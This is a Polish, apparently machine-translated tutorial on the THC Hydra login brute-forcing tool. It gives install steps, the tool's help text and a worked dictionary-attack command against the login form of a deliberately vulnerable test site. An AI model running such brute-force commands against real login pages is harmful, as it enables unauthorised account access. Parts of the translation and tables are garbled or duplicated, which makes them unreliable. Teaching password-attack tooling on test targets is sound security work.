Hasło jest technicznie zdefiniowane jako tajny ciąg znaków używany do uwierzytelniania lub uzyskiwania dostępu do zasobów. Musi być trzymana w tajemnicy i ukrywana przed innymi, którzy nie mają dostępu do tych zasobów. Hasła były używane w komputerach od najwcześniejszych dni informatyki. Jeden z pierwszych systemów współdzielenia został wprowadzony w 1961 roku. Miał polecenie logowania, które wymagało podania hasła użytkownika. Po wpisaniu HASŁA system w miarę możliwości wyłącza mechanizm drukujący, aby użytkownik mógł wpisać swoje hasło z zachowaniem prywatności.
Siła hasła jest funkcją długości, złożoności i nieprzewidywalności. Mierzy skuteczność w opieraniu się zgadywaniu lub łamaniu. Z drugiej strony słabe hasła skracają czas potrzebny na odgadnięcie i uzyskanie dostępu do osobistych/firmowych wiadomości e-mail, wrażliwych danych, takich jak informacje finansowe, informacje biznesowe, karty kredytowe itp.
Istnieje wiele sposobów, w jakie hasło może być słabe, co odpowiada sile różnych schematów ataków. Najpopularniejszym tego rodzaju atakiem na uwierzytelnienie jest brutalna siła. jest to metoda prób i błędów, taka jak zgadywanie, próba odszyfrowania zaszyfrowanych danych, takich jak hasło lub szyfrowanie danych używane przez program użytkowy lub narzędzie hakerskie.
Hydra to najszybszy program do łamania logowania do sieci, który obsługuje wiele protokołów ataku. Jest bardzo szybki i elastyczny, a nowe moduły można łatwo dodawać. Narzędzie to umożliwia badaczom i konsultantom ds. bezpieczeństwa pokazanie, jak łatwo byłoby zdalnie uzyskać nieautoryzowany dostęp do systemu. Hydra została napisana przez van Hausera i dodatkowo wspierana przez Davida Maciejaka. W najnowszej aktualizacji rozwój hydry został przeniesiony do publicznego repozytorium github pod adresem: https://github.com/vanhauser-thc/thc-hydra.
Hydra została przetestowana pod kątem kompilacji na systemach Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry i została udostępniona na licencji GPLv3 ze specjalnym rozszerzeniem licencji OpenSSL.
THC Hydra obsługuje następujące protokoły: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 i v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC i XMPP.
PORÓWNANIE HYDRY Z INNYMI NARZĘDZIAMI DO PĘKANIA
Oprócz hydry istnieje również wiele narzędzi do łamania logowania, jednak żadne z nich nie obsługuje ogromnej listy protokołów i obsługi równoległego łamania logowania, tak jak robi to hydra. Poniższe tabele pokazują wyniki porównania funkcji, usług i prędkości z meduzą i pęknięciem.
Cechy
Funkcja | Hydra | Meduza | Ncrack |
Licencja | AGPLv3 | GPLv2 | Warunki GPLv2 + Nmap |
Obsługa IPv6 | tak | Nie | Nie |
Graficzny interfejs użytkownika | tak | tak | Nie |
Wsparcie międzynarodowe (RFC 4013) | tak | Nie | Nie |
Obsługa proxy HTTP | tak | tak | Nie |
Obsługa proxy SOCKS | tak | Nie | Nie |
Obsługiwane protokoły | 51 | 22 | 7 |
Usługi
Praca | Detale | Hydra | Meduza | Ncrack |
ADAM-6500 | tak | Nie | Nie | |
AFP | tak | tak | Nie | |
Gwiazdka | tak | Nie | Nie | |
Hasło Cisco | tak | Nie | Nie | |
Włącz Cisco | tak | Nie | Nie | |
CVS | tak | tak | Nie | |
ognisty Ptak | tak | Nie | Nie | |
FTP | tak | tak | tak | |
Obsługa SSL | AUTH TLS i FTP przez SSL | AUTH TLS i FTP przez SSL | Nie | |
HTTP | Metoda(y) | POBIERZ, GŁOWA, POST | DOSTWAĆ | DOSTWAĆ |
Uwierzytelnianie podstawowe | tak | tak | tak | |
Formularz HTTP | Metoda(y) | POBIERZ, PUBLIKUJ | POBIERZ, PUBLIKUJ | Nie |
Obsługa SSL | HTTPS | HTTPS | Nie | |
Http Proxy | Uwierzytelnianie podstawowe | tak | Nie | Nie |
Uwierzytelnianie DIGEST-MD5 | tak | Nie | Nie | |
Uwierzytelnianie NTLM | tak | Nie | Nie | |
Obsługa SSL | HTTPS | Nie | Nie | |
Wyliczenie adresu URL serwera proxy HTTP | tak | Nie | Nie | |
ICQ | v5 | tak 1 | Nie | Nie |
IMAP | LOGOWANIE wsparcie | tak | tak | Nie |
Wsparcie AUTH LOGIN | tak | Nie | Nie | |
AUTH ZWYKŁA obsługa | tak | tak | Nie | |
Obsługa AUTH CRAM-MD5 | tak | Nie | Nie | |
Obsługa AUTH CRAM-SHA1 | tak | Nie | Nie | |
Obsługa AUTH CRAM-SHA256 | tak | Nie | Nie | |
Obsługa AUTH DIGEST-MD5 | tak | Nie | Nie | |
Obsługa AUTH NTLM | tak | tak | Nie | |
Obsługa AUTH SCRAM-SHA1 | tak | Nie | Nie | |
Obsługa SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | Nie | |
IRC | Ogólne hasło do serwera | tak | Nie | Nie |
Hasło trybu OPER | tak | Nie | Nie | |
LDAP | v2, Proste wsparcie | tak | Nie | Nie |
v3, proste wsparcie | tak | Nie | Nie | |
v3, obsługa AUTH CRAM-MD5 | tak | Nie | Nie | |
Obsługa AUTH DIGEST-MD5 | tak | |||
Obsługa AUTH NTLM | tak | tak | ||
Obsługa AUTH SCRAM-SHA1 | tak | |||
Obsługa SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Ogólne hasło do serwera | tak | ||
Hasło trybu OPER | tak | |||
LDAP | v2, Proste wsparcie | tak | ||
v3, proste wsparcie | tak | |||
v3, obsługa AUTH CRAM-MD5 | tak | |||
v3, obsługa AUTH DIGEST-MD5 | tak | |||
MS-SQL | tak | tak | ||
MySQL | v3.x | tak | tak | |
v4.x | tak | tak | ||
v5.x | tak | tak | ||
KPK | tak | tak | ||
NNTP | Wsparcie użytkownika | tak | tak | |
Wsparcie AUTH LOGIN | tak | |||
AUTH ZWYKŁA obsługa | tak | |||
Obsługa AUTH CRAM-MD5 | tak | |||
Obsługa AUTH DIGEST-MD5 | tak | |||
Obsługa AUTH NTLM | tak | |||
Obsługa SSL | STARTTLS i NNTP przez SSL | |||
Wyrocznia | Baza danych | tak | tak | |
Odbiornik TNS | tak | |||
Wyliczenie identyfikatora SID | tak | |||
PC-NFS | tak | |||
pcWszędzie | Uwierzytelnianie natywne | tak | tak | |
Uwierzytelnianie oparte na systemie operacyjnym (MS) | tak | |||
POP3 | Wsparcie użytkownika | tak | tak | tak |
Wsparcie APOP | tak | |||
Wsparcie AUTH LOGIN | tak | tak | ||
AUTH ZWYKŁA obsługa | tak | tak | ||
Obsługa AUTH CRAM-MD5 | tak | |||
Obsługa AUTH CRAM-SHA1 | tak | |||
Obsługa AUTH CRAM-SHA256 | tak | |||
Obsługa AUTH DIGEST-MD5 | tak | |||
Obsługa AUTH NTLM | tak | tak | ||
Obsługa SSL | POP3S I STARTTLS | POP3S I STARTTLS | POP3S | |
PostgreSQL | tak | tak | ||
Gwiazdka | tak | |||
PROW | Stacja robocza Windows | tak | tak | tak |
Serwer Windows | tak | tak | ||
Uwierzytelnianie domeny | tak | tak | ||
REDIS | tak | Nie | ||
REXEC | tak | tak | ||
ZALOGUJ | tak | tak | ||
RPCAP | tak | Nie | ||
RSH | tak | tak | ||
RTSP | tak | Nie | ||
SAP R / 3 | tak | |||
Siemens S7-300 | tak | |||
łyk | tak | |||
Obsługa SSL | SIP przez SSL | |||
MSP | Tryb NetBIOS | tak | tak | Nie |
Tryb natywny W2K | tak | tak | tak | |
Tryb haszowania | tak | tak | Nie | |
Uwierzytelnianie czystego tekstu | tak | tak | ||
Uwierzytelnianie LMv1 | tak | tak | tak | |
Uwierzytelnianie LMv2 | tak | tak | tak | |
Uwierzytelnianie NTLMv1 | tak | tak | tak | |
Uwierzytelnianie NTLMv2 | tak | tak | tak | |
SMTP | Wsparcie AUTH LOGIN | tak | tak | |
AUTH ZWYKŁA obsługa | tak | tak | ||
Obsługa AUTH CRAM-MD5 | tak | |||
Obsługa AUTH DIGEST-MD5 | tak | |||
Obsługa AUTH NTLM | tak | tak | ||
Obsługa SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
Wyliczenie użytkownika SMTP | Polecenie VRFY | tak | tak | |
EXPN cmd | tak | tak | ||
RCPT DO cmd | tak | tak | ||
SNMP | v1 | tak | tak | |
v2c | tak | tak | ||
v3 | (tylko autoryzacja MD5/SHA1) | |||
SKARPETY | v5, Uwierzytelnianie hasła | tak | ||
SSH | v1 | tak | ||
v2 | tak | tak | tak | |
Klucze SSH | v1, v2 | tak | ||
Subwersja (SVN) | tak | tak | ||
TeamSpeak | TS2 | tak | ||
Telnet | tak | tak | tak | |
XMPP | Wsparcie AUTH LOGIN | tak | ||
AUTH ZWYKŁA obsługa | tak | |||
Obsługa AUTH CRAM-MD5 | tak | |||
Obsługa AUTH DIGEST-MD5 | tak | |||
Obsługa AUTH SCRAM-SHA1 | tak | |||
Demon uwierzytelniania VMware | v1.00 / v1.10 | tak | tak | |
Obsługa SSL | tak | tak | ||
VNC | Obsługa hasła RFB 3.x | tak | tak | |
RFB 3.x obsługa użytkownika + hasła | (tylko UltraVNC) | |||
Obsługa hasła RFB 4.x | tak | tak | ||
Obsługa użytkownika i hasła RFB 4.x | (tylko UltraVNC) |
Porównanie prędkości
Prędkość (w s) | Hydra | Meduza | Ncrack |
1 Zadanie / moduł FTP | 11,93 | 12.97 | 18.01 |
4 Zadania / Moduł FTP | 4.20 | 5.24 | 9.01 |
16 zadań / moduł FTP | 2,44 | 2,71 | 12.01 |
1 zadanie / moduł SSH v2 | 32,56 | 33,84 | 45.02 |
4 zadania / moduł SSH v2 | 10.95 | Złamany | Pominięty |
16 zadań / moduł SSH v2 | 5.14 | Złamany | Pominięty |
To było krótkie, proste wprowadzenie do hydry. Przejdźmy teraz do instalacji.
INSTALACJA HYDRY
Hydra jest preinstalowana na kali linux, jednak jeśli masz inny system operacyjny, możesz go skompilować i zainstalować w swoim systemie. Obecnie wsparcie hydry na różnych platformach:
- Wszystkie platformy UNIX (Linux, *bsd, Solaris itp.)
- MacOS (w zasadzie klon BSD)
- Windows z Cygwin (zarówno IPv4, jak i IPv6)
- Systemy mobilne oparte o Linux, MacOS lub QNX (np. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Aby pobrać, skonfigurować, skompilować i zainstalować hydrę, wystarczy wpisać w terminalu:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Jeśli masz Ubuntu/Debian, będziesz potrzebować kilku bibliotek zależności:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Jeśli nie możesz znaleźć tych bibliotek w swoim repozytorium, musisz je pobrać i zainstalować ręcznie.
JAK UŻYWAĆ HYDRY?
Gratulacje, teraz udało Ci się zainstalować hydrę w swoim systemie. Właściwie Hydra ma dwa smaki, GUI-gtk i moją ulubioną wersję CLI. dodatkowo hydra posiada również wersję sterowaną przez CLI, zwaną hydra-wizard. Zostaniesz poprowadzony krok po kroku, zamiast ręcznie wpisywać wszystkie polecenia lub argumenty do terminala. Aby uruchomić hydrę, ze swojego terminala wpisz :
Dla CLI:
hydra
Dla kreatora CLI:
hydra-wizard
Dla GUI:
xhydra
Po wpisaniu „hydra” wyświetli polecenia pomocy takie jak:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Logowanie sieciowe Bruteforce za pomocą hydra
Hydra obsługuje niektóre usługi bruteforcingu, jak wspomniałem wcześniej, jedna z nich jest używana do bruteforce loginów internetowych, takich jak formularz logowania do mediów społecznościowych, formularz logowania do bankowości użytkownika, login internetowy routera itp. Ten http[s]-get-form który obsłuży to żądanie. W tym samouczku pokażę, jak bruteforce podatnych na logowanie do sieci. Zanim odpalimy hydrę powinniśmy znać kilka potrzebnych argumentów, takich jak poniżej:
- Cel : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Login nazwa użytkownika : Administrator (jeśli nie masz pewności, użyj metody bruteforce)
- Lista haseł : Lokalizacja listy plików słownika zawierającej możliwe hasła.
- Parametry formularza : ogólnie, użyj danych sabotażowych lub serwera proxy, aby uzyskać parametry formularza żądania. Ale tutaj używam iceweasel, opartego na firefoxie, paska narzędzi programisty sieci.
- Moduł serwisowy : http-post-formularz
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Uzyskiwanie parametrów posta za pomocą przeglądarki, iceweasel/firefox
W przeglądarce Firefox naciśnij klawisze ‘ CTRL + SHIFT + Q „. Następnie otwórz stronę logowania internetowegohttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, zauważysz, że na karcie dewelopera sieci pojawia się jakiś tekst. Informuje o tym, jakie pliki są do nas przesyłane. Zobacz metodę, że wszystkie są GET, ponieważ nie mamy jeszcze żadnych danych POST.
Aby uzyskać parametry post-form, wpisz cokolwiek w formularzu nazwy użytkownika i hasła. Zauważysz nową metodę POST na karcie dewelopera sieci. Kliknij dwukrotnie ten wiersz, na karcie Nagłówki kliknij przycisk Edytuj i wyślij ponownie po prawej stronie. W treści żądania skopiuj ostatnią linię, na przykład tfUName = asu & tfUPass = raimu . ten tfUName oraz tfUPass to parametry, których potrzebujemy. Jak widać poniżej:
Kali linux ma kilka list słów, wybierz odpowiednią listę słów lub po prostu użyj miejsca rockyou.txt w /usr/share/listy słów/ jak widać poniżej:
W porządku, teraz mamy wszystkie potrzebne argumenty i gotowe do odpalenia hydry. Oto wzór polecenia:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Rozłóżmy polecenia:
- ten : jest słowem zawierającym nazwę użytkownika, użyj -L, aby odwołać się do listy możliwych nazw użytkowników w pliku.
- P : jest listą plików z możliwymi hasłami, użyj -p, aby użyć jednego słowa hasło zamiast zgadywać je.
- testapp.vunlwebapp.com : to nazwa hosta lub cel
- http-post-formularz : czy używany przez nas moduł serwisowy?
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = wymagane 3 parametry, składnia to :
{URL strony}:{Poproś o parametry formularza treści posta}:S={Znajdź cokolwiek na stronie po pomyślnym zalogowaniu} - v = Tryb szczegółowy
- V = pokaż login: pass dla każdej próby
- F = Zakończ program po znalezieniu pary login:hasło
Teraz niech hydra spróbuje za nas złamać hasło, potrzebuje czasu, ponieważ jest to atak słownikowy. Gdy uda ci się znaleźć parę login:hasło, hydra natychmiast zakończy zadanie i pokaże ważne poświadczenia.
Jest tak wiele do zrobienia, że hydra może zrobić, ponieważ w tym samouczku nauczyliśmy się, jak brutalnie wymuszać logowanie przez sieć za pomocą hydry, uczymy się tylko jednego protokołu, czyli protokołu http-post-form. Możemy również użyć hydry przeciwko innym protokołom, takim jak ssh, ftp, telnet, VNC, proxy itp.